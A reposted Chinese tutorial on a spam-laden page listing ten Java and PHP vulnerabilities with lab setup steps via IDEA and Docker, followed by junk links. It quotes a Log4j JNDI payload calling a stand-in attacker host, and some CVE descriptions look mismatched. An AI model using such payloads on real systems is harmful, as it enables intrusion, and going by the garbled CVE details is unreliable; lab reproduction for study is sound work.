当前位置: 首页 > wzjs >正文

招聘门户网站开发人员制作企业网站费用明细

招聘门户网站开发人员,制作企业网站费用明细,有名的淘宝客网站,闵行网站建设哪家好Java漏洞复现清单及环境搭建指南(含IDEA与Docker方法) 1. Shiro反序列化漏洞 (CVE-2016-4437/CVE-2020-1957) 漏洞原理 Apache Shiro在1.2.4及以下版本中,默认使用硬编码的AES密钥进行rememberMe Cookie的加密与解密。攻击者可构造恶意序列…

Java漏洞复现清单及环境搭建指南(含IDEA与Docker方法)

1. Shiro反序列化漏洞 (CVE-2016-4437/CVE-2020-1957)
  • 漏洞原理
    Apache Shiro在1.2.4及以下版本中,默认使用硬编码的AES密钥进行rememberMe Cookie的加密与解密。攻击者可构造恶意序列化数据,通过rememberMe字段触发反序列化漏洞,执行任意代码。
  • 环境搭建
    • IDEA搭建
      1. 下载shiro-root-1.2.4源码,通过IDEA导入Maven项目。
      2. 修改pom.xml,添加依赖:
        <dependency><groupId>javax.servlet</groupId><artifactId>jstl</artifactId><version>1.2</version>
        </dependency>
        <dependency><groupId>org.apache.commons</groupId><artifactId>commons-collections4</artifactId><version>4.0</version>
        </dependency>
        
      3. 配置Tomcat服务器,运行项目。
    • Docker搭建
      git clone https://github.com/whgojp/JavaSecLab.git
      cd JavaSecLab
      mvn clean package -DskipTests
      docker-compose -p javaseclab up -d
      
      若因网络问题无法使用Docker,可使用预配置的Vmware虚拟机镜像,启动后执行以下命令:
      sudo docker start c27a2ccdc2c7
      sudo docker start 31ec50ea1ef8
      
2. Log4j远程代码执行 (CVE-2021-44228)
  • 漏洞原理
    Log4j 2在解析日志消息时,支持通过JNDI查询动态加载资源(如LDAP、RMI)。攻击者构造恶意日志消息(如${jndi:ldap://attacker.com/Exploit}),触发JNDI注入,导致远程代码执行。
  • 环境搭建
    • IDEA搭建
      1. 创建Spring Boot项目,添加Log4j 2依赖:
        <dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-log4j2</artifactId>
        </dependency>
        
      2. 修改log4j2.xml,启用JNDI查询。
      3. 编写测试代码,记录包含恶意JNDI查询的日志。
    • Docker搭建
      docker run -p 8080:8080 vulfocus/log4j2-rce-demo
      
3. Nacos未授权配置管理漏洞 (CVE-2023-37280)
  • 漏洞原理
    Nacos在特定版本中,未对配置管理接口进行身份验证,攻击者可直接访问或修改配置,导致敏感信息泄露或恶意配置注入。
  • 环境搭建
    • IDEA搭建
      1. 下载Nacos源码,修改application.properties,设置nacos.core.auth.enabled=false
      2. 使用IDEA启动Nacos主程序。
    • Docker搭建
      docker run -d -p 8848:8848 --name nacos-standalone -e MODE=standalone nacos/nacos-server:2.0.0-ALPHA.1
      
4. Spring Boot Actuator未授权访问
  • 漏洞原理
    Spring Boot Actuator提供了监控与管理端点(如/actuator/env/actuator/heapdump)。若未配置访问权限,攻击者可直接访问敏感信息或执行恶意操作。
  • 环境搭建
    • IDEA搭建
      1. 克隆项目:
        git clone https://github.com/callicoder/spring-boot-actuator-demo.git
        cd spring-boot-actuator-demo
        
      2. 修改application.properties,暴露所有端点:
        management.endpoints.web.exposure.include=*
        
      3. 使用IDEA启动项目。
    • Docker搭建
      docker run -p 8080:8080 callicoder/spring-boot-actuator-demo
      
5. Swagger接口泄露漏洞
  • 漏洞原理
    Swagger UI暴露在公网且未进行访问控制,攻击者可查看API文档并直接调用敏感接口(如用户管理、数据导出等)。
  • 环境搭建
    • IDEA搭建
      1. 创建Spring Boot项目,添加Swagger依赖:
        <dependency><groupId>io.springfox</groupId><artifactId>springfox-boot-starter</artifactId><version>3.0.0</version>
        </dependency>
        
      2. 编写配置类,启用Swagger UI。
      3. 使用IDEA启动项目。
    • Docker搭建
      docker run -d -p 8080:8080 swaggerapi/swagger-ui
      
6. JBoss反序列化漏洞 (CVE-2017-12149)
  • 漏洞原理
    JBoss的HttpInvoker组件中的ReadOnlyAccessFilter过滤器未对输入进行安全检查,导致反序列化漏洞。攻击者可构造恶意序列化数据,触发远程代码执行。
  • 环境搭建
    • IDEA搭建
      1. 下载JBoss源码,修改web.xml,启用HttpInvoker服务。
      2. 使用IDEA启动JBoss主程序。
    • Docker搭建
      docker run -d -p 8080:8080 -p 9990:9990 jboss/wildfly
      
7. Tomcat任意文件写入漏洞 (CVE-2017-12615)
  • 漏洞原理
    Tomcat在Windows上启用HTTP PUT请求方法时,攻击者可上传恶意JSP文件,执行任意代码。
  • 环境搭建
    • IDEA搭建
      1. 下载Tomcat源码,修改web.xml,启用PUT方法。
      2. 使用IDEA启动Tomcat。
    • Docker搭建
      docker run -d -p 8080:8080 vulfocus/tomcat-cve-2017-12615
      
8. WebLogic反序列化漏洞 (CVE-2020-14882)
  • 漏洞原理
    WebLogic的T3协议在处理反序列化数据时存在缺陷,攻击者可构造恶意序列化数据,触发远程代码执行。
  • 环境搭建
    • IDEA搭建
      1. 下载WebLogic源码,修改config.xml,启用T3协议。
      2. 使用IDEA启动WebLogic主程序。
    • Docker搭建
      docker run -d -p 7001:7001 store/oracle/weblogic:12.2.1.4
      
9. ThinkPHP远程代码执行 (CVE-2018-20062)
  • 漏洞原理
    ThinkPHP框架在处理路由参数时,未对用户输入进行严格过滤,导致攻击者可构造恶意路由参数,触发远程代码执行。
  • 环境搭建
    • IDEA搭建
      1. 下载ThinkPHP源码,通过IDEA导入项目。
      2. 修改config/app.php,关闭路由安全验证。
      3. 使用IDEA启动PHP内置服务器。
    • Docker搭建
      docker run -d -p 8081:80 vulfocus/thinkphp:6.0.12
      
10. WordPress后台修改模板获取WebShell
  • 漏洞原理
    WordPress后台的模板编辑功能允许管理员直接修改PHP文件。若攻击者获取管理员权限,可通过修改模板文件植入WebShell,执行任意代码。
  • 环境搭建
    • IDEA搭建
      1. 下载WordPress源码,通过IDEA导入项目。
      2. 修改wp-config-sample.php,配置数据库连接信息,并重命名为wp-config.php
      3. 使用IDEA启动PHP内置服务器或配置外部服务器(如Apache/Nginx)。
    • Docker搭建
      docker run -d -p 80:80 -e WORDPRESS_DB_HOST=db -e WORDPRESS_DB_USER=wordpress -e WORDPRESS_DB_PASSWORD=wordpress -e WORDPRESS_DB_NAME=wordpress --link db:mysql wordpress
      docker run -d --name db -e MYSQL_ROOT_PASSWORD=root -e MYSQL_DATABASE=wordpress -e MYSQL_USER=wordpress -e MYSQL_PASSWORD=wordpress mysql:5.7
      

总结

  • 环境搭建
    • IDEA搭建:适合本地调试与代码审计,可深入理解漏洞原理与代码逻辑。
    • Docker搭建:适合快速复现漏洞,便于团队共享与自动化测试。
  • 在IDEA中使用
    • 启动项目:根据项目类型,运行main方法或配置服务器。
    • 调试与验证:使用调试工具(如IDEA内置调试器)和测试工具(如Postman、curl)验证漏洞。
    • 代码审计:结合漏洞原理,审计关键代码逻辑,理解漏洞触发条件。

通过掌握以上环境搭建方法,可高效复现与审计Java应用中的常见漏洞。


文章转载自:

http://tj434uwc.kpnpd.cn
http://GJ7J1UT8.kpnpd.cn
http://TA1Eooft.kpnpd.cn
http://W31DsTXY.kpnpd.cn
http://enEaBgYb.kpnpd.cn
http://J2LyAzO9.kpnpd.cn
http://ZIOSoSL0.kpnpd.cn
http://4F1wD5Ho.kpnpd.cn
http://JtS5Xt31.kpnpd.cn
http://IKx6mRhd.kpnpd.cn
http://9OUQXYQK.kpnpd.cn
http://Fzah2di1.kpnpd.cn
http://MclLYtjt.kpnpd.cn
http://VOdpMl7g.kpnpd.cn
http://oCeL5CQV.kpnpd.cn
http://7Zcl0q1l.kpnpd.cn
http://S27JVpjT.kpnpd.cn
http://wslEAtB8.kpnpd.cn
http://bO7z8gAS.kpnpd.cn
http://QuJ6XLZi.kpnpd.cn
http://bHDst8wQ.kpnpd.cn
http://O1kwKu2Q.kpnpd.cn
http://W8RJT6ER.kpnpd.cn
http://TMNHI9dq.kpnpd.cn
http://9FfHCgeR.kpnpd.cn
http://6apUUMAX.kpnpd.cn
http://IFF1BUfx.kpnpd.cn
http://elYjGZyw.kpnpd.cn
http://AnJarbQl.kpnpd.cn
http://ZdBcUsEs.kpnpd.cn
http://www.dtcms.com/wzjs/668972.html

相关文章:

  • 餐饮公司的网站建设软件开发公司需要什么硬件设备
  • 有没有给人做简历的网站临沂供电公司网站
  • 西安网站开发公司怎么选深入网站开发和运维 pdf
  • 大学生做爰网站江西网站建设公司电话
  • 网站域名列表是什么创业项目
  • 怎么用视频做网站首页wordpress怎么加快网站打开速度
  • 酒店找人做网站人社部回应:一建一造停
  • 做网站ps分辨率给多少河北廊坊最新消息今天
  • 网站建设公司如何挖掘客户未备案网站 怎么处理
  • 广东网站开发项目网站建设通讯设备中企动力
  • 那些网站容易做淘宝推广桐城58网站在那里做
  • 做3ds磁铁卡网站提升学历有哪些渠道
  • 汕头网站搜索优化现在app用什么开发
  • 集约化网站建设的函做教育门户网站法律风险
  • 联科三网合一网站建设系统物流建设网站总结报告
  • 网站建设励志文章响应式网站 产品轮播代码
  • 网站运营者是做啥工作的西安做视频网站公司
  • 网站运营需要服务器吗百度怎样做网站排名往前
  • 网站建设高级开发语言品牌网站建设帮你大蝌蚪
  • 山东省住房城乡建设部网站房地产开发公司简介范文大全
  • 雄安网站建设多少钱网站设计与制作
  • 泉州哪里有搭建网站的公司wordpress博客网址模板
  • 网站做锚点室内设计效果图分析
  • 长沙科技网站设计哪家专业企业网站建设空间
  • 本地电脑如何做网站怎样在网上卖产品
  • 做网站的软件公司国外做的比较好的展台网站
  • 截图按钮图标素材网站企业展厅设计哪些内容
  • 自己做网站 做什么好滁州做网站价格
  • 做网站跟网站设计的区别怎么制作小视频的教程?
  • 内存优化大师网站权重优化